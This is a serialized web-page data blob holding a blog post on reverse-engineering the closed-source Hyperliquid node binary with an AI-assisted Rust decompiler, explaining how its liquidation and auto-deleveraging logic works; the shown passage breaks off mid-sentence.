[{"data":1,"prerenderedAt":24185},["ShallowReactive",2],{"$VzRuUfxTou":3},[4,6805,9303,18863],{"_path":5,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":9,"description":10,"date":11,"author":12,"image":13,"isFeatured":17,"onBlogPage":17,"tags":18,"hideToc":17,"body":22,"_type":6799,"_id":6800,"_source":6801,"_file":6802,"_stem":6803,"_extension":6804},"/blog/2026-06-22-hyperliquid-risk-engine","blog",false,"","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":14,"width":15,"height":16},"/posts/hyperliquid-risk-engine/title.png",1456,816,true,[19,20,21],"hyperliquid","reverse-engineering","defi",{"type":23,"children":24,"toc":6769},"root",[25,34,44,49,54,59,72,77,91,110,116,128,141,146,181,188,201,206,430,436,441,453,460,465,471,485,519,524,529,541,547,567,575,588,594,606,613,625,630,637,657,665,671,706,710,746,752,757,762,775,812,817,831,837,842,868,876,881,910,915,920,1258,1263,1268,1288,1316,1321,1334,1346,1351,1356,1362,1367,1372,1386,1391,1397,1425,1462,1474,1478,1483,1488,1494,1661,1697,1702,1708,1714,1910,1923,1928,1934,1955,1960,1966,1971,1976,1988,1993,1998,2004,2009,2014,2020,2026,2039,2074,2079,4696,4968,4973,6323,6328,6333,6345,6436,6448,6453,6459,6464,6473,6478,6486,6492,6526,6538,6546,6552,6558,6563,6571,6576,6581,6589,6601,6607,6612,6618,6629,6634,6640,6645,6650,6656,6661,6664,6669,6674,6680,6685,6697,6702,6707],{"type":26,"tag":27,"props":28,"children":30},"element","h2",{"id":29},"perpetuals",[31],{"type":32,"value":33},"text","Perpetuals",{"type":26,"tag":35,"props":36,"children":37},"blockquote",{},[38],{"type":26,"tag":39,"props":40,"children":41},"p",{},[42],{"type":32,"value":43},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":26,"tag":39,"props":45,"children":46},{},[47],{"type":32,"value":48},"What does that even have to do with reverse engineering?",{"type":26,"tag":27,"props":50,"children":51},{"id":19},[52],{"type":32,"value":53},"Hyperliquid",{"type":26,"tag":39,"props":55,"children":56},{},[57],{"type":32,"value":58},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":26,"tag":39,"props":60,"children":61},{},[62,64,70],{"type":32,"value":63},"The node is tasked with a ",{"type":26,"tag":65,"props":66,"children":67},"em",{},[68],{"type":32,"value":69},"very hard problem",{"type":32,"value":71},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":26,"tag":39,"props":73,"children":74},{},[75],{"type":32,"value":76},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":26,"tag":39,"props":78,"children":79},{},[80,82,89],{"type":32,"value":81},"Beyond that, the ",{"type":26,"tag":83,"props":84,"children":86},"code",{"className":85},[],[87],{"type":32,"value":88},"hl-node",{"type":32,"value":90}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":26,"tag":39,"props":92,"children":93},{},[94,96,101,103,108],{"type":32,"value":95},"Armed with some curiosity, a good amount of ",{"type":26,"tag":65,"props":97,"children":98},{},[99],{"type":32,"value":100},"inference",{"type":32,"value":102},", and the right tooling, we'll take a deep dive using an ",{"type":26,"tag":65,"props":104,"children":105},{},[106],{"type":32,"value":107},"interactive interface",{"type":32,"value":109},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":26,"tag":27,"props":111,"children":113},{"id":112},"the-million-dollar-question",[114],{"type":32,"value":115},"The Million Dollar Question",{"type":26,"tag":39,"props":117,"children":118},{},[119,121,126],{"type":32,"value":120},"Let's say a terrible trader opens a ",{"type":26,"tag":65,"props":122,"children":123},{},[124],{"type":32,"value":125},"50x",{"type":32,"value":127}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":26,"tag":39,"props":129,"children":130},{},[131,133,139],{"type":32,"value":132},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":26,"tag":83,"props":134,"children":136},{"className":135},[],[137],{"type":32,"value":138},"compute_margin_requirement_by_mode",{"type":32,"value":140}," function.",{"type":26,"tag":39,"props":142,"children":143},{},[144],{"type":32,"value":145},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":26,"tag":147,"props":148,"children":149},"tip",{},[150],{"type":26,"tag":39,"props":151,"children":152},{},[153,155,160,162,171,173,179],{"type":32,"value":154},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":26,"tag":65,"props":156,"children":157},{},[158],{"type":32,"value":159},"click through",{"type":32,"value":161}," each action performed by ",{"type":26,"tag":163,"props":164,"children":168},"a",{"href":165,"rel":166},"https://github.com/renato-osec/patina-research",[167],"nofollow",[169],{"type":32,"value":170},"our Rust reverse engineering agent",{"type":32,"value":172},". Return to the regular view by clicking ",{"type":26,"tag":83,"props":174,"children":176},{"className":175},[],[177],{"type":32,"value":178},"T",{"type":32,"value":180},".",{"type":26,"tag":182,"props":183,"children":187},"bndb-viewer-embed",{"addr":184,"line-start":185,"line-end":186},"0x555556bb4d20","1","20",[],{"type":26,"tag":39,"props":189,"children":190},{},[191,193,199],{"type":32,"value":192},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":26,"tag":83,"props":194,"children":196},{"className":195},[],[197],{"type":32,"value":198},"OptionUnitQty",{"type":32,"value":200},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":26,"tag":39,"props":202,"children":203},{},[204],{"type":32,"value":205},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":26,"tag":207,"props":208,"children":209},"pre",{},[210],{"type":26,"tag":83,"props":211,"children":215},{"className":212},[213,214],"language-math","math-display",[216],{"type":26,"tag":217,"props":218,"children":221},"span",{"className":219},[220],"katex-display",[222],{"type":26,"tag":217,"props":223,"children":226},{"className":224},[225],"katex",[227],{"type":26,"tag":217,"props":228,"children":232},{"className":229,"ariaHidden":231},[230],"katex-html","true",[233,272],{"type":26,"tag":217,"props":234,"children":237},{"className":235},[236],"base",[238,244,255,261,268],{"type":26,"tag":217,"props":239,"children":243},{"className":240,"style":242},[241],"strut","height:1.0044em;vertical-align:-0.31em;",[],{"type":26,"tag":217,"props":245,"children":248},{"className":246},[247,32],"mord",[249],{"type":26,"tag":217,"props":250,"children":252},{"className":251},[247],[253],{"type":32,"value":254},"liq_equity",{"type":26,"tag":217,"props":256,"children":260},{"className":257,"style":259},[258],"mspace","margin-right:0.2778em;",[],{"type":26,"tag":217,"props":262,"children":265},{"className":263},[264],"mrel",[266],{"type":32,"value":267},"=",{"type":26,"tag":217,"props":269,"children":271},{"className":270,"style":259},[258],[],{"type":26,"tag":217,"props":273,"children":275},{"className":274},[236],[276,281],{"type":26,"tag":217,"props":277,"children":280},{"className":278,"style":279},[241],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":26,"tag":217,"props":282,"children":284},{"className":283},[247],[285,291,425],{"type":26,"tag":217,"props":286,"children":290},{"className":287},[288,289],"mopen","nulldelimiter",[],{"type":26,"tag":217,"props":292,"children":295},{"className":293},[294],"mfrac",[296],{"type":26,"tag":217,"props":297,"children":301},{"className":298},[299,300],"vlist-t","vlist-t2",[302,413],{"type":26,"tag":217,"props":303,"children":306},{"className":304},[305],"vlist-r",[307,406],{"type":26,"tag":217,"props":308,"children":312},{"className":309,"style":311},[310],"vlist","height:1.427em;",[313,359,373],{"type":26,"tag":217,"props":314,"children":316},{"style":315},"top:-2.314em;",[317,323],{"type":26,"tag":217,"props":318,"children":322},{"className":319,"style":321},[320],"pstrut","height:3em;",[],{"type":26,"tag":217,"props":324,"children":326},{"className":325},[247],[327,333,338,345,349],{"type":26,"tag":217,"props":328,"children":330},{"className":329},[247],[331],{"type":32,"value":332},"2",{"type":26,"tag":217,"props":334,"children":337},{"className":335,"style":336},[258],"margin-right:0.2222em;",[],{"type":26,"tag":217,"props":339,"children":342},{"className":340},[341],"mbin",[343],{"type":32,"value":344},"⋅",{"type":26,"tag":217,"props":346,"children":348},{"className":347,"style":336},[258],[],{"type":26,"tag":217,"props":350,"children":352},{"className":351},[247,32],[353],{"type":26,"tag":217,"props":354,"children":356},{"className":355},[247],[357],{"type":32,"value":358},"leverage",{"type":26,"tag":217,"props":360,"children":362},{"style":361},"top:-3.23em;",[363,367],{"type":26,"tag":217,"props":364,"children":366},{"className":365,"style":321},[320],[],{"type":26,"tag":217,"props":368,"children":372},{"className":369,"style":371},[370],"frac-line","border-bottom-width:0.04em;",[],{"type":26,"tag":217,"props":374,"children":376},{"style":375},"top:-3.677em;",[377,381],{"type":26,"tag":217,"props":378,"children":380},{"className":379,"style":321},[320],[],{"type":26,"tag":217,"props":382,"children":384},{"className":383},[247],[385,391,401],{"type":26,"tag":217,"props":386,"children":388},{"className":387},[247],[389],{"type":32,"value":390},"∣",{"type":26,"tag":217,"props":392,"children":394},{"className":393},[247,32],[395],{"type":26,"tag":217,"props":396,"children":398},{"className":397},[247],[399],{"type":32,"value":400},"notional",{"type":26,"tag":217,"props":402,"children":404},{"className":403},[247],[405],{"type":32,"value":390},{"type":26,"tag":217,"props":407,"children":410},{"className":408},[409],"vlist-s",[411],{"type":32,"value":412},"​",{"type":26,"tag":217,"props":414,"children":416},{"className":415},[305],[417],{"type":26,"tag":217,"props":418,"children":421},{"className":419,"style":420},[310],"height:0.8804em;",[422],{"type":26,"tag":217,"props":423,"children":424},{},[],{"type":26,"tag":217,"props":426,"children":429},{"className":427},[428,289],"mclose",[],{"type":26,"tag":27,"props":431,"children":433},{"id":432},"what-if-nobody-wants-to-buy-the-position",[434],{"type":32,"value":435},"What If Nobody Wants to Buy the Position?",{"type":26,"tag":39,"props":437,"children":438},{},[439],{"type":32,"value":440},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":26,"tag":39,"props":442,"children":443},{},[444,446,451],{"type":32,"value":445},"When that happens, the exchange is basically left with a ",{"type":26,"tag":65,"props":447,"children":448},{},[449],{"type":32,"value":450},"hot potato",{"type":32,"value":452}," to get rid of: what should it even do with the debt?",{"type":26,"tag":454,"props":455,"children":457},"h1",{"id":456},"the-risk-engine",[458],{"type":32,"value":459},"The Risk Engine",{"type":26,"tag":39,"props":461,"children":462},{},[463],{"type":32,"value":464},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":26,"tag":27,"props":466,"children":468},{"id":467},"clearing-up-bad-debt",[469],{"type":32,"value":470},"Clearing Up Bad Debt",{"type":26,"tag":39,"props":472,"children":473},{},[474,476,483],{"type":32,"value":475},"The ",{"type":26,"tag":163,"props":477,"children":480},{"href":478,"rel":479},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[167],[481],{"type":32,"value":482},"Hyperliquid docs",{"type":32,"value":484}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":26,"tag":39,"props":486,"children":487},{},[488,490,501,503,509,511,517],{"type":32,"value":489},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":26,"tag":163,"props":491,"children":494},{"href":492,"rel":493},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[167],[495],{"type":26,"tag":83,"props":496,"children":498},{"className":497},[],[499],{"type":32,"value":500},"Clearinghouse",{"type":32,"value":502},", a struct containing all liquidation-related info, nested within a bigger ",{"type":26,"tag":83,"props":504,"children":506},{"className":505},[],[507],{"type":32,"value":508},"Exchange",{"type":32,"value":510}," data structure. This is an example of what it might hold when serialized as ",{"type":26,"tag":83,"props":512,"children":514},{"className":513},[],[515],{"type":32,"value":516},"MessagePack",{"type":32,"value":518}," at runtime.",{"type":26,"tag":39,"props":520,"children":521},{},[522],{"type":32,"value":523},"This data will come in handy both for us and the agent.",{"type":26,"tag":525,"props":526,"children":528},"file-download",{"path":527},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":26,"tag":39,"props":530,"children":531},{},[532,534,539],{"type":32,"value":533},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":26,"tag":83,"props":535,"children":537},{"className":536},[],[538],{"type":32,"value":500},{"type":32,"value":540},". Some renaming later, we can infer something like this:",{"type":26,"tag":182,"props":542,"children":546},{"source":543,"target":544,"direction":545},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":26,"tag":39,"props":548,"children":549},{},[550,552,557,559,565],{"type":32,"value":551},"We have one huge function handling all clearinghouse operations, which we call ",{"type":26,"tag":83,"props":553,"children":555},{"className":554},[],[556],{"type":32,"value":544},{"type":32,"value":558},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":26,"tag":83,"props":560,"children":562},{"className":561},[],[563],{"type":32,"value":564},"exchange_end_block",{"type":32,"value":566},". So, at the end of each block we run some checks.",{"type":26,"tag":147,"props":568,"children":569},{},[570],{"type":26,"tag":39,"props":571,"children":572},{},[573],{"type":32,"value":574},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":26,"tag":39,"props":576,"children":577},{},[578,580,586],{"type":32,"value":579},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":26,"tag":83,"props":581,"children":583},{"className":582},[],[584],{"type":32,"value":585},"clearinghouse.perform_auto_deleveraging",{"type":32,"value":587}," flag.",{"type":26,"tag":182,"props":589,"children":593},{"addr":590,"line-start":591,"line-end":592},"0x555556ac3850","3290","3301",[],{"type":26,"tag":39,"props":595,"children":596},{},[597,599,604],{"type":32,"value":598},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":26,"tag":83,"props":600,"children":602},{"className":601},[],[603],{"type":32,"value":500},{"type":32,"value":605},"?",{"type":26,"tag":607,"props":608,"children":610},"h3",{"id":609},"threshold-condition",[611],{"type":32,"value":612},"Threshold Condition",{"type":26,"tag":39,"props":614,"children":615},{},[616,618,623],{"type":32,"value":617},"The natural connection between liquidations and ADL is ",{"type":26,"tag":65,"props":619,"children":620},{},[621],{"type":32,"value":622},"shortfall",{"type":32,"value":624},": by how much a position, or the entire system (!), is underwater.",{"type":26,"tag":39,"props":626,"children":627},{},[628],{"type":32,"value":629},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":26,"tag":631,"props":632,"children":634},"h4",{"id":633},"who-is-underwater",[635],{"type":32,"value":636},"Who Is Underwater?",{"type":26,"tag":39,"props":638,"children":639},{},[640,642,647,649,655],{"type":32,"value":641},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":26,"tag":83,"props":643,"children":645},{"className":644},[],[646],{"type":32,"value":544},{"type":32,"value":648},", starting from all user positions, which are stored in ",{"type":26,"tag":83,"props":650,"children":652},{"className":651},[],[653],{"type":32,"value":654},"clearinghouse.user_states",{"type":32,"value":656},", as we can also see from the serialization.",{"type":26,"tag":147,"props":658,"children":659},{},[660],{"type":26,"tag":39,"props":661,"children":662},{},[663],{"type":32,"value":664},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":26,"tag":182,"props":666,"children":670},{"source":667,"target":564,"direction":668,"path":669},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":26,"tag":39,"props":672,"children":673},{},[674,675,680,682,688,690,696,698,704],{"type":32,"value":475},{"type":26,"tag":83,"props":676,"children":678},{"className":677},[],[679],{"type":32,"value":667},{"type":32,"value":681}," essentially turns that into an ",{"type":26,"tag":83,"props":683,"children":685},{"className":684},[],[686],{"type":32,"value":687},"Iter",{"type":32,"value":689},", then, inside of ",{"type":26,"tag":83,"props":691,"children":693},{"className":692},[],[694],{"type":32,"value":695},"build_adl_candidate_set",{"type":32,"value":697}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":26,"tag":83,"props":699,"children":701},{"className":700},[],[702],{"type":32,"value":703},"AdlIterEntry",{"type":32,"value":705}," field.",{"type":26,"tag":182,"props":707,"children":709},{"type-name":708},"AdlIterContext",[],{"type":26,"tag":39,"props":711,"children":712},{},[713,715,721,723,729,731,737,739,744],{"type":32,"value":714},"Note that in storage, ",{"type":26,"tag":83,"props":716,"children":718},{"className":717},[],[719],{"type":32,"value":720},"Isolated",{"type":32,"value":722}," positions have their own independent ",{"type":26,"tag":83,"props":724,"children":726},{"className":725},[],[727],{"type":32,"value":728},"Entry",{"type":32,"value":730}," in the position iterators, and ",{"type":26,"tag":83,"props":732,"children":734},{"className":733},[],[735],{"type":32,"value":736},"Cross",{"type":32,"value":738}," positions have a single common ",{"type":26,"tag":83,"props":740,"children":742},{"className":741},[],[743],{"type":32,"value":728},{"type":32,"value":745},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":26,"tag":182,"props":747,"children":751},{"addr":748,"line-start":749,"line-end":750},"0x555556266b10","152","163",[],{"type":26,"tag":39,"props":753,"children":754},{},[755],{"type":32,"value":756},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":26,"tag":182,"props":758,"children":761},{"addr":590,"line-start":759,"line-end":760},"506","527",[],{"type":26,"tag":39,"props":763,"children":764},{},[765,767],{"type":32,"value":766},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":26,"tag":768,"props":769,"children":772},"bndb-xref",{"lines":770,"addrs":771},"1-2","0x555556ac3e18-0x555556ac3e18",[773],{"type":32,"value":774},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":26,"tag":39,"props":776,"children":777},{},[778,780,786,788,794,796,802,804,810],{"type":32,"value":779},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":26,"tag":83,"props":781,"children":783},{"className":782},[],[784],{"type":32,"value":785},"only_isolated",{"type":32,"value":787}," (or ",{"type":26,"tag":83,"props":789,"children":791},{"className":790},[],[792],{"type":32,"value":793},"strict_isolated",{"type":32,"value":795}," in MessagePack dumps) are added to a separate queue, ",{"type":26,"tag":83,"props":797,"children":799},{"className":798},[],[800],{"type":32,"value":801},"deferred_queue",{"type":32,"value":803},", which triggers ADL regardless of the system's ",{"type":26,"tag":83,"props":805,"children":807},{"className":806},[],[808],{"type":32,"value":809},"total_shortfall",{"type":32,"value":811},". This is dictated by this branch.",{"type":26,"tag":182,"props":813,"children":816},{"addr":590,"line-start":814,"line-end":815},"211","243",[],{"type":26,"tag":39,"props":818,"children":819},{},[820,822,829],{"type":32,"value":821},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":26,"tag":163,"props":823,"children":826},{"href":824,"rel":825},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[167],[827],{"type":32,"value":828},"March 2025 incident",{"type":32,"value":830},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":26,"tag":631,"props":832,"children":834},{"id":833},"how-do-we-get-rid-of-debt",[835],{"type":32,"value":836},"How Do We Get Rid of Debt?",{"type":26,"tag":39,"props":838,"children":839},{},[840],{"type":32,"value":841},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":26,"tag":39,"props":843,"children":844},{},[845,847,852,854,859,861,866],{"type":32,"value":846},"Thus, if the debt is insurmountable, the ",{"type":26,"tag":83,"props":848,"children":850},{"className":849},[],[851],{"type":32,"value":801},{"type":32,"value":853}," is overwritten by all the users marked by ",{"type":26,"tag":83,"props":855,"children":857},{"className":856},[],[858],{"type":32,"value":695},{"type":32,"value":860},", otherwise we keep it and only holders of underwater ",{"type":26,"tag":83,"props":862,"children":864},{"className":863},[],[865],{"type":32,"value":793},{"type":32,"value":867}," positions from the earlier loop are considered for ADL.",{"type":26,"tag":147,"props":869,"children":870},{},[871],{"type":26,"tag":39,"props":872,"children":873},{},[874],{"type":32,"value":875},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":26,"tag":182,"props":877,"children":880},{"addr":590,"line-start":878,"line-end":879},"523","526",[],{"type":26,"tag":39,"props":882,"children":883},{},[884,886,892,894,900,902,908],{"type":32,"value":885},"For each underwater position, we do a ",{"type":26,"tag":768,"props":887,"children":889},{"addrs":888},"0x555556ac42ad-0x555556ac42be",[890],{"type":32,"value":891},"B-tree lookup",{"type":32,"value":893}," on ",{"type":26,"tag":83,"props":895,"children":897},{"className":896},[],[898],{"type":32,"value":899},"clearinghouse.user_states[position.user]",{"type":32,"value":901},", adding them to a ",{"type":26,"tag":83,"props":903,"children":905},{"className":904},[],[906],{"type":32,"value":907},"Vec",{"type":32,"value":909}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":26,"tag":182,"props":911,"children":914},{"addr":590,"line-start":912,"line-end":913},"635","658",[],{"type":26,"tag":39,"props":916,"children":917},{},[918],{"type":32,"value":919},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":26,"tag":207,"props":921,"children":922},{},[923],{"type":26,"tag":83,"props":924,"children":926},{"className":925},[213,214],[927],{"type":26,"tag":217,"props":928,"children":930},{"className":929},[220],[931],{"type":26,"tag":217,"props":932,"children":934},{"className":933},[225],[935],{"type":26,"tag":217,"props":936,"children":938},{"className":937,"ariaHidden":231},[230],[939],{"type":26,"tag":217,"props":940,"children":942},{"className":941},[236],[943,948],{"type":26,"tag":217,"props":944,"children":947},{"className":945,"style":946},[241],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":26,"tag":217,"props":949,"children":951},{"className":950},[247],[952],{"type":26,"tag":217,"props":953,"children":956},{"className":954},[955],"mtable",[957,1037],{"type":26,"tag":217,"props":958,"children":961},{"className":959},[960],"col-align-r",[962],{"type":26,"tag":217,"props":963,"children":965},{"className":964},[299,300],[966,1025],{"type":26,"tag":217,"props":967,"children":969},{"className":968},[305],[970,1020],{"type":26,"tag":217,"props":971,"children":974},{"className":972,"style":973},[310],"height:2.3452em;",[975,998],{"type":26,"tag":217,"props":976,"children":978},{"style":977},"top:-4.3452em;",[979,984],{"type":26,"tag":217,"props":980,"children":983},{"className":981,"style":982},[320],"height:3.3944em;",[],{"type":26,"tag":217,"props":985,"children":987},{"className":986},[247],[988],{"type":26,"tag":217,"props":989,"children":991},{"className":990},[247,32],[992],{"type":26,"tag":217,"props":993,"children":995},{"className":994},[247],[996],{"type":32,"value":997},"position_weight",{"type":26,"tag":217,"props":999,"children":1001},{"style":1000},"top:-2.2092em;",[1002,1006],{"type":26,"tag":217,"props":1003,"children":1005},{"className":1004,"style":982},[320],[],{"type":26,"tag":217,"props":1007,"children":1009},{"className":1008},[247],[1010],{"type":26,"tag":217,"props":1011,"children":1013},{"className":1012},[247,32],[1014],{"type":26,"tag":217,"props":1015,"children":1017},{"className":1016},[247],[1018],{"type":32,"value":1019},"position_adl_amount",{"type":26,"tag":217,"props":1021,"children":1023},{"className":1022},[409],[1024],{"type":32,"value":412},{"type":26,"tag":217,"props":1026,"children":1028},{"className":1027},[305],[1029],{"type":26,"tag":217,"props":1030,"children":1033},{"className":1031,"style":1032},[310],"height:1.8452em;",[1034],{"type":26,"tag":217,"props":1035,"children":1036},{},[],{"type":26,"tag":217,"props":1038,"children":1041},{"className":1039},[1040],"col-align-l",[1042],{"type":26,"tag":217,"props":1043,"children":1045},{"className":1044},[299,300],[1046,1247],{"type":26,"tag":217,"props":1047,"children":1049},{"className":1048},[305],[1050,1242],{"type":26,"tag":217,"props":1051,"children":1053},{"className":1052,"style":973},[310],[1054,1182],{"type":26,"tag":217,"props":1055,"children":1056},{"style":977},[1057,1061],{"type":26,"tag":217,"props":1058,"children":1060},{"className":1059,"style":982},[320],[],{"type":26,"tag":217,"props":1062,"children":1064},{"className":1063},[247],[1065,1069,1073,1078,1082],{"type":26,"tag":217,"props":1066,"children":1068},{"className":1067},[247],[],{"type":26,"tag":217,"props":1070,"children":1072},{"className":1071,"style":259},[258],[],{"type":26,"tag":217,"props":1074,"children":1076},{"className":1075},[264],[1077],{"type":32,"value":267},{"type":26,"tag":217,"props":1079,"children":1081},{"className":1080,"style":259},[258],[],{"type":26,"tag":217,"props":1083,"children":1085},{"className":1084},[247],[1086,1090,1178],{"type":26,"tag":217,"props":1087,"children":1089},{"className":1088},[288,289],[],{"type":26,"tag":217,"props":1091,"children":1093},{"className":1092},[294],[1094],{"type":26,"tag":217,"props":1095,"children":1097},{"className":1096},[299,300],[1098,1166],{"type":26,"tag":217,"props":1099,"children":1101},{"className":1100},[305],[1102,1161],{"type":26,"tag":217,"props":1103,"children":1106},{"className":1104,"style":1105},[310],"height:1.3944em;",[1107,1128,1139],{"type":26,"tag":217,"props":1108,"children":1109},{"style":315},[1110,1114],{"type":26,"tag":217,"props":1111,"children":1113},{"className":1112,"style":321},[320],[],{"type":26,"tag":217,"props":1115,"children":1117},{"className":1116},[247],[1118],{"type":26,"tag":217,"props":1119,"children":1121},{"className":1120},[247,32],[1122],{"type":26,"tag":217,"props":1123,"children":1125},{"className":1124},[247],[1126],{"type":32,"value":1127},"total_cross_notional",{"type":26,"tag":217,"props":1129,"children":1130},{"style":361},[1131,1135],{"type":26,"tag":217,"props":1132,"children":1134},{"className":1133,"style":321},[320],[],{"type":26,"tag":217,"props":1136,"children":1138},{"className":1137,"style":371},[370],[],{"type":26,"tag":217,"props":1140,"children":1142},{"style":1141},"top:-3.7em;",[1143,1147],{"type":26,"tag":217,"props":1144,"children":1146},{"className":1145,"style":321},[320],[],{"type":26,"tag":217,"props":1148,"children":1150},{"className":1149},[247],[1151],{"type":26,"tag":217,"props":1152,"children":1154},{"className":1153},[247,32],[1155],{"type":26,"tag":217,"props":1156,"children":1158},{"className":1157},[247],[1159],{"type":32,"value":1160},"position_notional",{"type":26,"tag":217,"props":1162,"children":1164},{"className":1163},[409],[1165],{"type":32,"value":412},{"type":26,"tag":217,"props":1167,"children":1169},{"className":1168},[305],[1170],{"type":26,"tag":217,"props":1171,"children":1174},{"className":1172,"style":1173},[310],"height:0.996em;",[1175],{"type":26,"tag":217,"props":1176,"children":1177},{},[],{"type":26,"tag":217,"props":1179,"children":1181},{"className":1180},[428,289],[],{"type":26,"tag":217,"props":1183,"children":1184},{"style":1000},[1185,1189],{"type":26,"tag":217,"props":1186,"children":1188},{"className":1187,"style":982},[320],[],{"type":26,"tag":217,"props":1190,"children":1192},{"className":1191},[247],[1193,1197,1201,1206,1210,1220,1224,1229,1233],{"type":26,"tag":217,"props":1194,"children":1196},{"className":1195},[247],[],{"type":26,"tag":217,"props":1198,"children":1200},{"className":1199,"style":259},[258],[],{"type":26,"tag":217,"props":1202,"children":1204},{"className":1203},[264],[1205],{"type":32,"value":267},{"type":26,"tag":217,"props":1207,"children":1209},{"className":1208,"style":259},[258],[],{"type":26,"tag":217,"props":1211,"children":1213},{"className":1212},[247,32],[1214],{"type":26,"tag":217,"props":1215,"children":1217},{"className":1216},[247],[1218],{"type":32,"value":1219},"user_shortfall",{"type":26,"tag":217,"props":1221,"children":1223},{"className":1222,"style":336},[258],[],{"type":26,"tag":217,"props":1225,"children":1227},{"className":1226},[341],[1228],{"type":32,"value":344},{"type":26,"tag":217,"props":1230,"children":1232},{"className":1231,"style":336},[258],[],{"type":26,"tag":217,"props":1234,"children":1236},{"className":1235},[247,32],[1237],{"type":26,"tag":217,"props":1238,"children":1240},{"className":1239},[247],[1241],{"type":32,"value":997},{"type":26,"tag":217,"props":1243,"children":1245},{"className":1244},[409],[1246],{"type":32,"value":412},{"type":26,"tag":217,"props":1248,"children":1250},{"className":1249},[305],[1251],{"type":26,"tag":217,"props":1252,"children":1254},{"className":1253,"style":1032},[310],[1255],{"type":26,"tag":217,"props":1256,"children":1257},{},[],{"type":26,"tag":39,"props":1259,"children":1260},{},[1261],{"type":32,"value":1262},"We do that here:",{"type":26,"tag":182,"props":1264,"children":1267},{"addr":590,"line-start":1265,"line-end":1266},"828","981",[],{"type":26,"tag":39,"props":1269,"children":1270},{},[1271,1272,1278,1280,1286],{"type":32,"value":475},{"type":26,"tag":768,"props":1273,"children":1275},{"lines":1274},"77-79",[1276],{"type":32,"value":1277},"inner loop",{"type":32,"value":1279}," above spans all ",{"type":26,"tag":83,"props":1281,"children":1283},{"className":1282},[],[1284],{"type":32,"value":1285},"(asset_idx, direction)",{"type":32,"value":1287}," held in the cross margin 